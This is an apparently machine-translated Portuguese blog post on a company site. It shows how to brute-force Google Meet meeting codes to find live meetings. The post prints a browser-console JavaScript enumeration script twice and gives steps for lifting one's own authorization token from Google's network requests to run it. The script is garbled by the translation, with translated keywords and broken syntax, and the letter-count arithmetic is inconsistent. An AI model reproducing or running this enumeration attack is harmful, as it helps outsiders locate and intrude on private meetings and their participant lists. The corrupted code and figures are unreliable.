Visio – fique preso no Google Meet | Dyrk, Dyna Meet – Visio

Conhecer visio

randomize = () => dico = dico.Dividir (”).Mapa (valor => (< value, sort: Math.random() >)).feitiço ((a, b) => a.feitiço – b.soletrar).Mapa ((< value >) => valor).Juntar (”),
Newpatternkey = () => “xxx-xxxx-xxx”.Dividir (”).Mapa (c => c == ‘-‘?C: String.FromCharCode (Math.Piso (matemática.Aleatoriamente ()*25) +97)).Juntar (”),
Key = newPatternKey (), contador = 20;
Next = () => Tecla.Dividir (”).Mapa (e => e == ‘-‘ ? E: dico [dico.IndexOf (e) + 1> = dico.comprimento ? 0: Dico.IndexOf (e) + 1]).Juntar (”),
Contador = 0;
meetlink = ‘https: // meet.Google.com/’, dedo do pé disponível = () => xhr = novo xmlHttPrequest ();
If (contador ++> = 20) contador = 0;
Key = newPatternKey ();
Aleatória ();
>
Key = next ();
xhr.Aberto (‘Get’, MeetLink + Key);
xhr.AddEventlisner (‘load’, (e) => busca (meetlink.concat (“/$ rpc/google.Rtc.Encontros.V1.ReuniãoPaceservice/ResolveMeetingspace “),” Cabeçalhos “:” Autorização “: Autorização,
“Tipo de Conteúdo”: “Aplicativo/X-Protobuf”,
“X-Goog-Adep-Key”: e.alvo.responsabilidade.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-RéSpose-If-Executable”: “Base64”,
“X-GOOG-EXIDENTIDENTE”: BTOA (‘\ B \ X02 \ X12 \ f’.Concat (chave)),
>,
“corpo”: “\ n \ f”.Concat (Key, “0 \ U0001”),
“Método”: “post”
>).então (e => e.Texto ())
.então (e => setTimeout (disponível, 100);
console.Log (meetlink.Concat (chave).BEENGIFICEDISPLAY (38), (e.Substitua (/[^a-za-z0-9]/g, “”)+””).EmbelezadoDisplay (38));
>);
>);
xhr.Enviar ();
>;
Corda.protótipo.BeactifyDisplay = função (tamanho) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >tamanho ? TXT.Comprimento: tamanho))).Substr (0, tamanho).Concat (‘|’); >,
console.Claro ();
disponível ();
>) ()

Dyrk

Atualmente trabalhando no campo da segurança cibernética, estou regularmente confrontado com situações bastante triviais.

Mais recente, a intrusão de uma pessoa durante uma reunião .
Felizmente, para a segurança, o Google Meet incluiu um recurso que permite alertar os participantes de que uma pessoa procura ingressar na videoconferência, mas também aceitar ou recusá -lo.

No entanto, este evento me leva a me fazer várias perguntas .

Complexidade do link do Google Meet

Primeiro de tudo, como é possível que uma pessoa se conecte a um link do encontro sem ter sido convidado para ele ?

Devemos considerar a simplicidade do link: https: // google.encontrar.comaXxx -yyyy -zzzz

Xxx -yyyy -zzzz são apenas caracteres alfabéticos entre A e Z, ou seja, 27 combinações possíveis para cada personagem.

Para os matemáticos, existe, portanto:

27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 Combinações possíveis .

Vida de um link do Google Meet

Embora agora possamos entender melhor como os links de nossos títulos de conferência “Google Meet” são construídos, há um aspecto muito importante a ser levado em consideração . A vida útil de um link do Google Meet !

Na verdade, todos podem gerar reuniões do Google Meet em alguns cliques.
Mas depois de alguns dias, semanas ou meses . Os links não são mais válidos.

Os links gerados, portanto, têm um certo período de validade .

Exceção Faça eventos “recorrentes”, e é aqui que se torna interessante.
Nos negócios, há muitas oportunidades de organizar regularmente (equipe / negócios, diariamente, semanalmente, mensalmente,, . )).
Quando um funcionário gera esse tipo de evento em sua agenda, automaticamente um link do Google Meet é gerado. Este é invariável.
Então você terá o mesmo link a cada vez para este evento.

Com um pouco de JavaScript e força bruta ?

Com todos esses elementos, agora estamos equipados para varrer todas as possibilidades e alcançar uma alta probabilidade para detectar links para videoconociados !

Então, eu tenho um pouco de seguro retro, a operação do Google Meet para escrever um código JavaScript que tentará um número infinito de combinações

(C) Dyrk.Org 2023-2024 – Roleta do Meet’s
(1) Execute este script em https: // google.encontrar.com

(2) Localizar e atualizar a variável da autorização com um token de autorização válido nos cabeçalhos “XHR Solicys” do Googles

Let Authorization = “Sapisidhash xxxxxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx“, dico =” abcdefghijklmnopqrstuvxz “,

randomize = () => dico = dico.Dividir (”).Mapa (valor => (< value, sort: Math.random() >)).feitiço ((a, b) => a.feitiço – b.soletrar).Mapa ((< value >) => valor).Juntar (”),
Newpatternkey = () => “xxx-xxxx-xxx”.Dividir (”).Mapa (c => c == ‘-‘?C: String.FromCharCode (Math.Piso (matemática.Aleatoriamente ()*25) +97)).Juntar (”),
Key = newPatternKey (), contador = 20;
Next = () => Tecla.Dividir (”).Mapa (e => e == ‘-‘ ? E: dico [dico.IndexOf (e) + 1> = dico.comprimento ? 0: Dico.IndexOf (e) + 1]).Juntar (”),
Contador = 0;
meetlink = ‘https: // meet.Google.com/’, dedo do pé disponível = () => xhr = novo xmlHttPrequest ();
If (contador ++> = 20) contador = 0;
Key = newPatternKey ();
Aleatória ();
>
Key = next ();
xhr.Aberto (‘Get’, MeetLink + Key);
xhr.AddEventlisner (‘load’, (e) => busca (meetlink.concat (“/$ rpc/google.Rtc.Encontros.V1.ReuniãoPaceservice/ResolveMeetingspace “),” Cabeçalhos “:” Autorização “: Autorização,
“Tipo de Conteúdo”: “Aplicativo/X-Protobuf”,
“X-Goog-Adep-Key”: e.alvo.responsabilidade.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-Encode-RéSpose-If-Executable”: “Base64”,
“X-GOOG-EXIDENTIDENTE”: BTOA (‘\ B \ X02 \ X12 \ f’.Concat (chave)),
>,
“corpo”: “\ n \ f”.Concat (Key, “0 \ U0001”),
“Método”: “post”
>).então (e => e.Texto ())
.então (e =>

SetTimeout (disponível, 100);
console.Log (meetlink.Concat (chave).BEENGIFICEDISPLAY (38), (e.Substitua (/[^a-za-z0-9]/g, “”)+””).EmbelezadoDisplay (38));
>);
>);
xhr.Enviar ();
>;
Corda.protótipo.BeactifyDisplay = função (tamanho) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >tamanho ? TXT.Comprimento: tamanho))).Substr (0, tamanho).Concat (‘|’); >,
console.Claro ();
disponível ();
>) ()

Para operar tudo isso, será necessário:

  1. Abra a página https: //.Google.com
  2. Abra o console do desenvolvedor
  3. Na guia “Rede”, filtre a busca / xhr e recupere um token de token“Autorização”
  4. Copiar e colar o código -fonte acima e colocar no local indicou o token.
  5. Validar com a tecla “Entrada” no seu teclado.

Recuperação de “Autorização” Token:

Para os curiosos, é assim que o resultado desse script em ação deve parecer.
Portanto, observamos linhas que nos informa que o espaço para videoconferência não existe.
E outros que nos colocaram no token da conferência ! Portanto, indicando que o link é válido;)

No entanto, não espere cair em alguns segundos em um link do encontro ^^
(A menos que você seja um homem de sorte)
Você precisará ser uma grande paciência, deixando -o correr pelo menos meia hora.

Conclusão

Não entre em pânico que há um número maior de sorte para encontrar um link válido do Google Meet do que ganhar o loto.

Atenção ! Uma pessoa que se depara com um Link Válido Link Acesso a determinadas informações sem a necessidade de estar conectado:
O nome da reunião (portanto, evite deslizar informações confidenciais) e os participantes conectados (todos ou um jogo).

Conhecer visio

Assalto online

Roubo online do best-seller

jogadoras

Até 1000 jogadores simultaneamente

Uma plataforma de acesso fácil, em visio

Horizon 2024

Miniatura - Horizon 2024 - Visio

jogadoras

Até 1000 jogadores simultaneamente

Uma plataforma de acesso fácil, em visio

Onde está Charlie ?!

Miniatura - onde está Charlie - Visio

jogadoras

Até 1000 jogadores simultaneamente

Uma plataforma de acesso fácil, em visio

Missão Enigma

Miniatura - Mission Enigma - Visio

jogadoras

Até 1000 jogadores simultaneamente

Uma plataforma de acesso fácil, em visio

Consciência de segurança cibernética

Miniatura - segurança cibernética - Visio

jogadoras

Até 5000 jogadores simultaneamente

Uma plataforma de acesso fácil, em visio

Salve o Natal !

Miniatura - Salve o Natal! - Visio

jogadoras

Até 1000 jogadores simultaneamente

Uma plataforma de acesso fácil, em visio

Copyright © 2023 – Dyna’meet

Gerenciar consentimento para cookies

Para oferecer as melhores experiências, usamos tecnologias como cookies para armazenar e/ou acessar as informações dos dispositivos. O consentimento para essas tecnologias nos permitirá processar dados como comportamento de navegação ou IDs exclusivos neste site. O fato de não consentir ou retirar seu consentimento pode ter um efeito negativo em certas características e funções.

Funcional funcional sempre ativado

O armazenamento ou acesso técnico é estritamente necessário no final do interesse legítimo para permitir o uso de um serviço específico solicitado explicitamente pelo assinante ou pelo usuário, ou com o único objetivo de transmitir a transmissão de comunicação em uma rede de comunicações eletrônicas.

Preferências Preferências

Armazenamento ou acesso técnico é necessário para fins de interesse legítimo para armazenar preferências que não são solicitadas pelo assinante ou pela pessoa que usa o serviço.

Estatística estatística

Armazenamento ou acesso técnico que é usado exclusivamente para fins estatísticos. Armazenamento ou acesso técnico que é usado exclusivamente em fins estatísticos anônimos. Na ausência de uma convocação a aparecer, a conformidade voluntária por parte do seu provedor de acesso à Internet ou registros adicionais de terceiros, as informações armazenadas ou extraídas nesse extremo geralmente não podem ser usadas para identificá -lo.

O armazenamento ou acesso técnico é necessário para criar perfis de usuário para enviar anúncios ou seguir o usuário em um site ou em vários sites com fins de marketing semelhantes.